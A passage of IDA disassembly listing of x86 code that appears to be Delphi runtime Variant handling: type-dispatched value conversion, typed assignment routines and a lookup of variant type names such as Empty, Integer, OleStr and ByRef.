dd offset loc_400121EF
dd offset loc_4001220C
dd offset loc_40012229
dd offset loc_40012246
dd offset loc_40012263
; ---------------------------------------------------------------------------
loc_40012104: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
lea edx, [ebp+var_3C] ; jumptable 400120A9 case 2
mov eax, [ebx+8]
movsx eax, word ptr [eax]
call sub_40007C98
mov edx, [ebp+var_3C]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012121: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
lea edx, [ebp+var_40] ; jumptable 400120A9 case 3
mov eax, [ebx+8]
mov eax, [eax]
call sub_40007C98
mov edx, [ebp+var_40]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_4001213D: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 4
fld dword ptr [eax]
add esp, 0FFFFFFF4h
fstp [esp+90h+var_90]
wait
lea eax, [ebp+var_44]
call sub_40008E14
mov edx, [ebp+var_44]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012160: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 5
fld qword ptr [eax]
add esp, 0FFFFFFF4h
fstp [esp+90h+var_90]
wait
lea eax, [ebp+var_48]
call sub_40008E14
mov edx, [ebp+var_48]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012183: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 6
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_4C]
call sub_400113EC
mov edx, [ebp+var_4C]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_400121A2: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 7
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_50]
call sub_40011424
mov edx, [ebp+var_50]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_400121C1: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, esi ; jumptable 400120A9 case 8
mov edx, [ebx+8]
mov edx, [edx]
call sub_4000511C
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_400121D2: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
lea edx, [ebp+var_54] ; jumptable 400120A9 case 11
mov eax, [ebx+8]
movzx eax, word ptr [eax]
call sub_4001145C
mov edx, [ebp+var_54]
mov eax, esi
call sub_40005044
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_400121EF: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
lea edx, [ebp+var_58] ; jumptable 400120A9 case 16
mov eax, [ebx+8]
movsx eax, byte ptr [eax]
call sub_40007C98
mov edx, [ebp+var_58]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_4001220C: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
lea edx, [ebp+var_5C] ; jumptable 400120A9 case 17
mov eax, [ebx+8]
movzx eax, byte ptr [eax]
call sub_40007C98
mov edx, [ebp+var_5C]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012229: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
lea edx, [ebp+var_60] ; jumptable 400120A9 case 18
mov eax, [ebx+8]
movzx eax, word ptr [eax]
call sub_40007C98
mov edx, [ebp+var_60]
mov eax, esi
call sub_40005158
jmp loc_400122CB
; ---------------------------------------------------------------------------
loc_40012246: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 19
mov eax, [eax]
xor edx, edx
push edx
push eax
lea eax, [ebp+var_64]
call sub_40007D84
mov edx, [ebp+var_64]
mov eax, esi
call sub_40005158
jmp short loc_400122CB
; ---------------------------------------------------------------------------
loc_40012263: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 20
push dword ptr [eax+4]
push dword ptr [eax]
lea eax, [ebp+var_68]
call sub_40007D84
mov edx, [ebp+var_68]
mov eax, esi
call sub_40005158
jmp short loc_400122CB
; ---------------------------------------------------------------------------
loc_4001227F: ; CODE XREF: sub_40011DFC+2ADj
; DATA XREF: sub_40011DFC:off_400120B0o
mov eax, [ebx+8] ; jumptable 400120A9 case 12
mov edx, eax
mov eax, esi
call sub_40011DFC
jmp short loc_400122CB
; ---------------------------------------------------------------------------
loc_4001228D: ; CODE XREF: sub_40011DFC+2A7j
; sub_40011DFC+2ADj
; DATA XREF: ...
lea edx, [ebp+var_6C] ; default
; jumptable 400120A9 cases 0,1,9,10,13-15
mov eax, ebx
call sub_40011C18
mov edx, [ebp+var_6C]
mov eax, esi
call sub_40005044
jmp short loc_400122CB
; ---------------------------------------------------------------------------
loc_400122A3: ; CODE XREF: sub_40011DFC+296j
mov eax, esi
call sub_40005008
mov edx, eax
mov eax, ebx
call sub_40011D34
test al, al
jnz short loc_400122CB
lea edx, [ebp+var_70]
mov eax, ebx
call sub_40011C18
mov edx, [ebp+var_70]
mov eax, esi
call sub_40005044
loc_400122CB: ; CODE XREF: sub_40011DFC+94j
; sub_40011DFC+BCj ...
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012348
loc_400122D8: ; CODE XREF: sub_40011DFC+54Aj
lea eax, [ebp+var_70]
mov edx, 2
call sub_40005020
lea eax, [ebp+var_68]
mov edx, 5
call sub_400048A8
lea eax, [ebp+var_54]
mov edx, 3
call sub_40005020
lea eax, [ebp+var_48]
mov edx, 4
call sub_400048A8
lea eax, [ebp+var_38]
mov edx, 2
call sub_40005020
lea eax, [ebp+var_30]
mov edx, 5
call sub_400048A8
lea eax, [ebp+var_1C]
mov edx, 3
call sub_40005020
lea eax, [ebp+var_10]
mov edx, 4
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40012341: ; DATA XREF: sub_40011DFC+18o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400122D8
; ---------------------------------------------------------------------------
loc_40012348: ; CODE XREF: sub_40011DFC+544j
; DATA XREF: sub_40011DFC+4D7o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40011DFC endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012350 proc near ; CODE XREF: sub_400123C8+7Ap
var_10 = word ptr -10h
var_8 = dword ptr -8
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
mov esi, edx
mov ebx, eax
lea eax, [ebp+var_10]
push eax
call sub_4000CDD8
xor eax, eax
push ebp
push offset loc_400123BA
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edx, esi
lea eax, [ebp+var_10]
call sub_4000E700
lea eax, [ebp+var_10]
call ds:off_4001F29C
cmp [ebp+var_10], 0Dh
jz short loc_4001239A
mov dx, 0Dh
mov ax, 101h
call sub_4000DBF4
loc_4001239A: ; CODE XREF: sub_40012350+3Bj
mov eax, ebx
mov edx, [ebp+var_8]
call sub_4000621C
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400123C1
loc_400123B1: ; CODE XREF: sub_40012350+6Fj
lea eax, [ebp+var_10]
call sub_4000E3D8
retn
; ---------------------------------------------------------------------------
loc_400123BA: ; DATA XREF: sub_40012350+18o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400123B1
; ---------------------------------------------------------------------------
loc_400123C1: ; CODE XREF: sub_40012350+69j
; DATA XREF: sub_40012350+5Co
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40012350 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400123C8 proc near ; CODE XREF: sub_4000E894+19p
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov ebx, edx
mov esi, eax
movzx eax, word ptr [ebx]
cmp eax, 0Dh
jg short loc_400123E7
jz short loc_40012424
sub eax, 1
jb short loc_400123FC
jz short loc_40012405
sub eax, 8
jz short loc_40012424
jmp short loc_40012449
; ---------------------------------------------------------------------------
loc_400123E7: ; CODE XREF: sub_400123C8+Dj
sub eax, 101h
jz short loc_4001243E
sub eax, 3F08h
jz short loc_40012430
sub eax, 4
jz short loc_40012430
jmp short loc_40012449
; ---------------------------------------------------------------------------
loc_400123FC: ; CODE XREF: sub_400123C8+14j
mov eax, esi
call sub_40006204
jmp short loc_4001247D
; ---------------------------------------------------------------------------
loc_40012405: ; CODE XREF: sub_400123C8+16j
cmp byte_4001AA10, 0
jz short loc_4001241B
mov dx, 0Dh
mov ax, 1
call sub_4000DBF4
loc_4001241B: ; CODE XREF: sub_400123C8+44j
mov eax, esi
call sub_40006204
jmp short loc_4001247D
; ---------------------------------------------------------------------------
loc_40012424: ; CODE XREF: sub_400123C8+Fj
; sub_400123C8+1Bj
mov eax, esi
mov edx, [ebx+8]
call sub_4000621C
jmp short loc_4001247D
; ---------------------------------------------------------------------------
loc_40012430: ; CODE XREF: sub_400123C8+2Bj
; sub_400123C8+30j
mov eax, esi
mov edx, [ebx+8]
mov edx, [edx]
call sub_4000621C
jmp short loc_4001247D
; ---------------------------------------------------------------------------
loc_4001243E: ; CODE XREF: sub_400123C8+24j
mov edx, ebx
mov eax, esi
call sub_40012350
jmp short loc_4001247D
; ---------------------------------------------------------------------------
loc_40012449: ; CODE XREF: sub_400123C8+1Dj
; sub_400123C8+32j
mov edx, esp
movzx eax, word ptr [ebx]
call sub_40012D98
test al, al
jz short loc_40012471
mov eax, esi
call sub_40006204
mov ecx, eax
mov edx, offset dword_40012484
mov eax, [esp+0Ch+var_C]
call sub_40003D9C
test al, al
jnz short loc_4001247D
loc_40012471: ; CODE XREF: sub_400123C8+8Dj
movzx eax, word ptr [ebx]
mov dx, 0Dh
call sub_4000DBF4
loc_4001247D: ; CODE XREF: sub_400123C8+3Bj
; sub_400123C8+5Aj ...
pop edx
pop esi
pop ebx
retn
sub_400123C8 endp
; ---------------------------------------------------------------------------
align 4
dword_40012484 dd 2 dup(0) dd 0C0h, 46000000h
; =============== S U B R O U T I N E =======================================
sub_40012494 proc near ; CODE XREF: sub_4000E848+19p
var_C = dword ptr -0Ch
push ebx
push esi
push ecx
mov ebx, edx
mov esi, eax
movzx eax, word ptr [ebx]
sub ax, 1
jb short loc_400124B4
jz short loc_400124BD
sub ax, 8
jz short loc_400124DC
sub ax, 4000h
jz short loc_400124E8
jmp short loc_400124F6
; ---------------------------------------------------------------------------
loc_400124B4: ; CODE XREF: sub_40012494+Ej
mov eax, esi
call sub_40006204
jmp short loc_4001252A
; ---------------------------------------------------------------------------
loc_400124BD: ; CODE XREF: sub_40012494+10j
cmp byte_4001AA10, 0
jz short loc_400124D3
mov dx, 9
mov ax, 1
call sub_4000DBF4
loc_400124D3: ; CODE XREF: sub_40012494+30j
mov eax, esi
call sub_40006204
jmp short loc_4001252A
; ---------------------------------------------------------------------------
loc_400124DC: ; CODE XREF: sub_40012494+16j
mov eax, esi
mov edx, [ebx+8]
call sub_4000621C
jmp short loc_4001252A
; ---------------------------------------------------------------------------
loc_400124E8: ; CODE XREF: sub_40012494+1Cj
mov eax, esi
mov edx, [ebx+8]
mov edx, [edx]
call sub_4000621C
jmp short loc_4001252A
; ---------------------------------------------------------------------------
loc_400124F6: ; CODE XREF: sub_40012494+1Ej
mov edx, esp
movzx eax, word ptr [ebx]
call sub_40012D98
test al, al
jz short loc_4001251E
mov eax, esi
call sub_40006204
mov ecx, eax
mov edx, offset dword_40012530
mov eax, [esp+0Ch+var_C]
call sub_40003D9C
test al, al
jnz short loc_4001252A
loc_4001251E: ; CODE XREF: sub_40012494+6Ej
movzx eax, word ptr [ebx]
mov dx, 9
call sub_4000DBF4
loc_4001252A: ; CODE XREF: sub_40012494+27j
; sub_40012494+46j ...
pop edx
pop esi
pop ebx
retn
sub_40012494 endp
; ---------------------------------------------------------------------------
align 10h
dword_40012530 dd 20400h, 0 dd 0C0h, 46000000h
; =============== S U B R O U T I N E =======================================
sub_40012540 proc near ; CODE XREF: sub_4000E9CC+F0p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012554
mov eax, ebx
call sub_4000E35C
loc_40012554: ; CODE XREF: sub_40012540+Bj
mov word ptr [ebx], 3
mov [ebx+8], esi
pop esi
pop ebx
retn
sub_40012540 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40012560 proc near ; CODE XREF: sub_4000E9CC+1A5p
push ebx
push esi
mov ebx, edx
mov esi, eax
test word ptr [esi], 0BFE8h
jz short loc_40012574
mov eax, esi
call sub_4000E35C
loc_40012574: ; CODE XREF: sub_40012560+Bj
mov word ptr [esi], 11h
mov [esi+8], bl
pop esi
pop ebx
retn
sub_40012560 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40012580 proc near ; CODE XREF: sub_4000E9CC+1B7p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012594
mov eax, ebx
call sub_4000E35C
loc_40012594: ; CODE XREF: sub_40012580+Bj
mov word ptr [ebx], 12h
mov [ebx+8], si
pop esi
pop ebx
retn
sub_40012580 endp
; =============== S U B R O U T I N E =======================================
sub_400125A0 proc near ; CODE XREF: sub_4000E9CC+1C9p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_400125B4
mov eax, ebx
call sub_4000E35C
loc_400125B4: ; CODE XREF: sub_400125A0+Bj
mov word ptr [ebx], 13h
mov [ebx+8], esi
pop esi
pop ebx
retn
sub_400125A0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400125C0 proc near ; CODE XREF: sub_4000E9CC+190p
push ebx
push esi
mov ebx, edx
mov esi, eax
test word ptr [esi], 0BFE8h
jz short loc_400125D4
mov eax, esi
call sub_4000E35C
loc_400125D4: ; CODE XREF: sub_400125C0+Bj
mov word ptr [esi], 10h
mov [esi+8], bl
pop esi
pop ebx
retn
sub_400125C0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_400125E0 proc near ; CODE XREF: sub_4000E9CC+DBp
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_400125F4
mov eax, ebx
call sub_4000E35C
loc_400125F4: ; CODE XREF: sub_400125E0+Bj
mov word ptr [ebx], 2
mov [ebx+8], si
pop esi
pop ebx
retn
sub_400125E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012600 proc near ; CODE XREF: sub_4000E9CC+1DBp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012614
mov eax, ebx
call sub_4000E35C
loc_40012614: ; CODE XREF: sub_40012600+Bj
mov word ptr [ebx], 14h
mov eax, [ebp+arg_0]
mov [ebx+8], eax
mov eax, [ebp+arg_4]
mov [ebx+0Ch], eax
pop ebx
pop ebp
retn 8
sub_40012600 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001262C proc near ; CODE XREF: sub_4000E9CC+10Ap
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012640
mov eax, ebx
call sub_4000E35C
loc_40012640: ; CODE XREF: sub_4001262C+Bj
mov eax, [ebp+arg_0]
mov [ebx+8], eax
mov word ptr [ebx], 4
pop ebx
pop ebp
retn 4
sub_4001262C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012650 proc near ; CODE XREF: sub_4000E9CC+124p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012664
mov eax, ebx
call sub_4000E35C
loc_40012664: ; CODE XREF: sub_40012650+Bj
mov eax, [ebp+arg_0]
mov [ebx+8], eax
mov eax, [ebp+arg_4]
mov [ebx+0Ch], eax
mov word ptr [ebx], 5
pop ebx
pop ebp
retn 8
sub_40012650 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001267C proc near ; CODE XREF: sub_4000E9CC+13Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012690
mov eax, ebx
call sub_4000E35C
loc_40012690: ; CODE XREF: sub_4001267C+Bj
mov eax, [ebp+arg_0]
mov [ebx+8], eax
mov eax, [ebp+arg_4]
mov [ebx+0Ch], eax
mov word ptr [ebx], 6
pop ebx
pop ebp
retn 8
sub_4001267C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400126A8 proc near ; CODE XREF: sub_4000E9CC+158p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_400126BC
mov eax, ebx
call sub_4000E35C
loc_400126BC: ; CODE XREF: sub_400126A8+Bj
mov eax, [ebp+arg_0]
mov [ebx+8], eax
mov eax, [ebp+arg_4]
mov [ebx+0Ch], eax
mov word ptr [ebx], 7
pop ebx
pop ebp
retn 8
sub_400126A8 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400126D4 proc near ; CODE XREF: sub_4000E9CC+17Bp
push ebx
push esi
mov ebx, edx
mov esi, eax
test word ptr [esi], 0BFE8h
jz short loc_400126E8
mov eax, esi
call sub_4000E35C
loc_400126E8: ; CODE XREF: sub_400126D4+Bj
mov word ptr [esi], 0Bh
cmp bl, 1
cmc
sbb eax, eax
mov [esi+8], ax
pop esi
pop ebx
retn
sub_400126D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400126FC proc near ; CODE XREF: sub_4000E7FC+23p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012710
mov eax, ebx
call sub_4000E35C
loc_40012710: ; CODE XREF: sub_400126FC+Bj
xor eax, eax
mov [ebx+8], eax
mov word ptr [ebx], 100h
lea eax, [ebx+8]
mov edx, esi
call sub_400048D8
pop esi
pop ebx
retn
sub_400126FC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40012728 proc near ; CODE XREF: sub_4000E7B0+23p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_4001273C
mov eax, ebx
call sub_4000E35C
loc_4001273C: ; CODE XREF: sub_40012728+Bj
xor eax, eax
mov [ebx+8], eax
mov word ptr [ebx], 8
lea eax, [ebx+8]
push eax
mov ecx, 7FFFFFFFh
mov edx, 1
mov eax, esi
call sub_40005174
pop esi
pop ebx
retn
sub_40012728 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_40012760 proc near ; CODE XREF: sub_4000E894+23p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_40012774
mov eax, ebx
call sub_4000E35C
loc_40012774: ; CODE XREF: sub_40012760+Bj
xor eax, eax
mov [ebx+8], eax
mov word ptr [ebx], 0Dh
lea eax, [ebx+8]
mov edx, esi
call sub_4000621C
pop esi
pop ebx
retn
sub_40012760 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_4001278C proc near ; CODE XREF: sub_4000E848+23p
push ebx
push esi
mov esi, edx
mov ebx, eax
test word ptr [ebx], 0BFE8h
jz short loc_400127A0
mov eax, ebx
call sub_4000E35C
loc_400127A0: ; CODE XREF: sub_4001278C+Bj
xor eax, eax
mov [ebx+8], eax
mov word ptr [ebx], 9
lea eax, [ebx+8]
mov edx, esi
call sub_4000621C
pop esi
pop ebx
retn
sub_4001278C endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400127B8 proc near ; DATA XREF: sub_40019144+55o
; .data:off_4001A014o
cmp word ptr [eax], 8
jb short locret_400127D8
push dword ptr [eax+0Ch]
push dword ptr [eax+8]
push dword ptr [eax+4]
push dword ptr [eax]
mov word ptr [eax], 0
mov edx, esp
call sub_4000E700
add esp, 10h
locret_400127D8: ; CODE XREF: sub_400127B8+4j
retn
sub_400127B8 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 5
aEmpty db 'Empty',0 ; DATA XREF: .data:off_4001AA20o
align 4
dword_400127EC dd 0FFFFFFFFh, 4, 6C6C754Eh, 0dword_400127FC dd 0FFFFFFFFh, 8, 6C616D53h, 746E696Ch, 0dword_40012810 dd 0FFFFFFFFh, 7, 65746E49h, 726567h, 0FFFFFFFFh, 6, 676E6953h
; DATA XREF: .data:4001AA2Co
dd 656Ch, 0FFFFFFFFh, 6, 62756F44h, 656Ch, 0FFFFFFFFh
dd 8, 72727543h, 79636E65h, 0
dword_40012854 dd 0FFFFFFFFh, 4, 65746144h, 0dword_40012864 dd 0FFFFFFFFh, 6, 53656C4Fh, 7274h, 0FFFFFFFFh, 8, 70736944h
; DATA XREF: .data:4001AA40o
dd 68637461h, 0
dword_40012888 dd 0FFFFFFFFh, 5, 6F727245h, 72h, 0FFFFFFFFh, 7, 6C6F6F42h
; DATA XREF: .data:4001AA48o
dd 6E6165h, 0FFFFFFFFh, 7, 69726156h, 746E61h, 0FFFFFFFFh
dd 7, 6E6B6E55h, 6E776Fh, 0FFFFFFFFh, 7, 69636544h, 6C616Dh
dd 0FFFFFFFFh, 3, 463024h, 0FFFFFFFFh, 8, 726F6853h, 746E4974h
dd 0
dword_400128F8 dd 0FFFFFFFFh, 4, 65747942h, 0dword_40012908 dd 0FFFFFFFFh, 4, 64726F57h, 0dword_40012918 dd 0FFFFFFFFh, 8, 676E6F4Ch, 64726F57h, 0dword_4001292C dd 0FFFFFFFFh, 5, 36746E49h, 34h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4001293C proc near ; CODE XREF: sub_4000DBF4+2Ap
; sub_4000DBF4+3Ep ...
var_208 = dword ptr -208h
var_204 = byte ptr -204h
var_104 = byte ptr -104h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFDF8h
push ebx
push esi
push edi
xor ecx, ecx
mov [ebp+var_208], ecx
mov esi, edx
mov ebx, eax
xor eax, eax
push ebp
push offset loc_40012A62
push dword ptr fs:[eax]
mov fs:[eax], esp
mov edi, ebx
and di, 0FFFh
cmp di, 14h
ja short loc_40012985
mov eax, esi
movzx edx, di
mov edx, off_4001AA20[edx*4]
call sub_400048D8
jmp loc_40012A23
; ---------------------------------------------------------------------------
loc_40012985: ; CODE XREF: sub_4001293C+31j
cmp bx, 100h
jnz short loc_4001299D
mov eax, esi
mov edx, offset aString_0 ; "String"
call sub_400048D8
jmp loc_40012A23
; ---------------------------------------------------------------------------
loc_4001299D: ; CODE XREF: sub_4001293C+4Ej
cmp bx, 101h
jnz short loc_400129B2
mov eax, esi
mov edx, offset dword_40012A88
call sub_400048D8
jmp short loc_40012A23
; ---------------------------------------------------------------------------
loc_400129B2: ; CODE XREF: sub_4001293C+66j
lea edx, [ebp+var_4]
mov eax, ebx
call sub_40012D98
test al, al
jz short loc_400129FB
lea eax, [ebp+var_104]
push eax
lea edx, [ebp+var_204]
mov eax, [ebp+var_4]
mov eax, [eax]
call sub_40003C6C
lea eax, [ebp+var_204]
mov ecx, 7FFFFFFFh
mov edx, 2
call sub_40002D98
lea edx, [ebp+var_104]
mov eax, esi
call sub_40004AE8
jmp short loc_40012A23
; ---------------------------------------------------------------------------
loc_400129FB: ; CODE XREF: sub_4001293C+82j
lea ecx, [ebp+var_208]
movzx eax, di
mov edx, 4
call sub_40007DAC
mov ecx, [ebp+var_208]
mov edx, off_4001B09C
mov edx, [edx]
mov eax, esi
call sub_40004B94
loc_40012A23: ; CODE XREF: sub_4001293C+44j
; sub_4001293C+5Cj ...
test bh, 20h
jz short loc_40012A36
mov ecx, [esi]
mov eax, esi
mov edx, offset dword_40012A94
call sub_40004B94
loc_40012A36: ; CODE XREF: sub_4001293C+EAj
test bh, 40h
jz short loc_40012A49
mov ecx, [esi]
mov eax, esi
mov edx, offset dword_40012AA4
call sub_40004B94
loc_40012A49: ; CODE XREF: sub_4001293C+FDj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012A69
loc_40012A56: ; CODE XREF: sub_4001293C+12Bj
lea eax, [ebp+var_208]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_40012A62: ; DATA XREF: sub_4001293C+1Bo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40012A56
; ---------------------------------------------------------------------------
loc_40012A69: ; CODE XREF: sub_4001293C+125j
; DATA XREF: sub_4001293C+115o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_4001293C endp
; ---------------------------------------------------------------------------
dd 0FFFFFFFFh, 6
aString_0 db 'String',0 ; DATA XREF: sub_4001293C+52o
align 10h
dd 0FFFFFFFFh, 3
dword_40012A88 dd 796E41h, 0FFFFFFFFh, 6dword_40012A94 dd 61727241h, 2079h, 0FFFFFFFFh, 6dword_40012AA4 dd 65527942h, 2066h
; =============== S U B R O U T I N E =======================================
sub_40012AAC proc near ; CODE XREF: sub_40012AC4+5p
push ebx
push esi
mov esi, edx
mov ebx, eax
mov eax, ebx
call sub_4000E3D8
mov word ptr [ebx], 0Ah
mov [ebx+8], esi
pop esi
pop ebx
retn
sub_40012AAC endp
; =============== S U B R O U T I N E =======================================
sub_40012AC4 proc near ; CODE XREF: sub_40019144+1Fp
mov edx, 80020004h
call sub_40012AAC
retn
sub_40012AC4 endp
; ---------------------------------------------------------------------------
align 10h
off_40012AD0 dd offset dword_40012AD4 ; DATA XREF: sub_40012E54+56r
dword_40012AD4 dd 302E0311h, 432h, 0 dd 0FFFFFF00h
db 0FFh
dd offset off_4000D6B4
db 8, 56h, 61h
dd 6E616972h, 0C08B7374h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012AF4 proc near ; CODE XREF: sub_40012E54+19p
push ebp
mov ebp, esp
push ebx
push esi
mov esi, offset dword_4001F2A8
push offset dword_4001F2AC
call sub_40006520 ; RtlEnterCriticalSection
xor edx, edx
push ebp
push offset loc_40012B55
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [esi]
call sub_4000596C
mov ebx, eax
dec ebx
cmp ebx, 0
jl short loc_40012B3D
loc_40012B25: ; CODE XREF: sub_40012AF4+47j
mov eax, [esi]
mov eax, [eax+ebx*4]
cmp eax, dword_4001AA1C
jz short loc_40012B37
call sub_40003CE8
loc_40012B37: ; CODE XREF: sub_40012AF4+3Cj
dec ebx
cmp ebx, 0FFFFFFFFh
jnz short loc_40012B25
loc_40012B3D: ; CODE XREF: sub_40012AF4+2Fj
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40012B5C
loc_40012B4A: ; CODE XREF: sub_40012AF4+66j
push offset dword_4001F2AC
call sub_400065E8 ; RtlLeaveCriticalSection
retn
; ---------------------------------------------------------------------------
loc_40012B55: ; DATA XREF: sub_40012AF4+17o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40012B4A
; ---------------------------------------------------------------------------
loc_40012B5C: ; DATA XREF: sub_40012AF4+51o
pop esi
pop ebx
pop ebp
retn
sub_40012AF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012B60 proc near ; DATA XREF: .text:4000D690o
push ebp
mov ebp, esp
call sub_40012D20
pop ebp
retn 4
sub_40012B60 endp
; =============== S U B R O U T I N E =======================================
sub_40012B6C proc near ; DATA XREF: .text:4000D67Co
var_10 = dword ptr -10h
push ebx
push esi
push edi
push ecx
mov esi, ecx
mov edi, edx
mov ebx, eax
mov edx, esp
movzx eax, word ptr [esi]
call sub_40012D98
test al, al
jz short loc_40012B98
movzx eax, word ptr [ebx+4]
push eax
mov ecx, esi
mov edx, edi
mov eax, [esp+14h+var_10]
mov ebx, [eax]
call dword ptr [ebx+1Ch]
jmp short loc_40012B9F
; ---------------------------------------------------------------------------
loc_40012B98: ; CODE XREF: sub_40012B6C+16j
mov eax, ebx
call sub_40012D18
loc_40012B9F: ; CODE XREF: sub_40012B6C+2Aj
pop edx
pop edi
pop esi
pop ebx
retn
sub_40012B6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40012BA4 proc near ; DATA XREF: .text:4000D680o
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
